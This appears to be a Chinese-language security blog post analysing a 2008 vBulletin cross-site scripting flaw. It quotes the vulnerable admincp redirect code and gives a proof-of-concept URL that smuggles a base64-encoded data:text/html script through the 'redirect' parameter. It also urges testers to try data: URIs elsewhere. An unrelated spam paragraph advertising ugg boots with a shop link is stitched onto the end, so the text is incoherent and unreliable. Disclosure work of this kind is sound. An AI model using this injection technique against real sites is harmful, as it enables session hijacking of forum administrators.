前几天FD上公布了一个vbb的xss: http://seclists.org/fulldisclosure/2008/Jun/0181.html,这个bug比较有意思:
admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
代码:admincp/index.php 98-107
if (!empty($vbulletin->GPC['redirect']))
{
require_once(DIR . '/includes/functions_login.php');
$redirect = htmlspecialchars_uni(fetch_replaced_session_url($vbulletin->GPC['redirect']));
print_cp_header($vbphrase['redirecting_please_wait'], '', "<meta http-equiv=\"Refresh\" content=\"0; URL=$redirect\" />");
echo "<p> </p><blockquote><p>$vbphrase[redirecting_please_wait]</p></blockquote>";
print_cp_footer();
exit;
}
http-equiv里的url使用data:text/html 实现xss。
在firefox官方的资料:http://www.mozilla.org/quality/networking/testing/datatests.html
wiki的资料:http://en.wikipedia.org/wiki/Data:_URI_scheme
可以看得出来data:类似于javasript:,那么这个估计可以跨很多程序了,在你测试xss不要忘记了data:
data:有几个特点:
1.可以指定MIME-type如text/html
2.可以指定编码如data:;charset=UTF-8,Hello
3.firefox/ie8/Opera等支持它

There is nothing that touches these <a href="http://www.buddyugg.com/"><strong>ugg boots</strong></a> for just lazing around at home. Bar sleeping I don’t take mine off now that its getting colder, they are not quite as stiff as they were when they first arrived but still extremely comfortable. It would be nice if they had a little more arch support but other than that I’m very pleased.
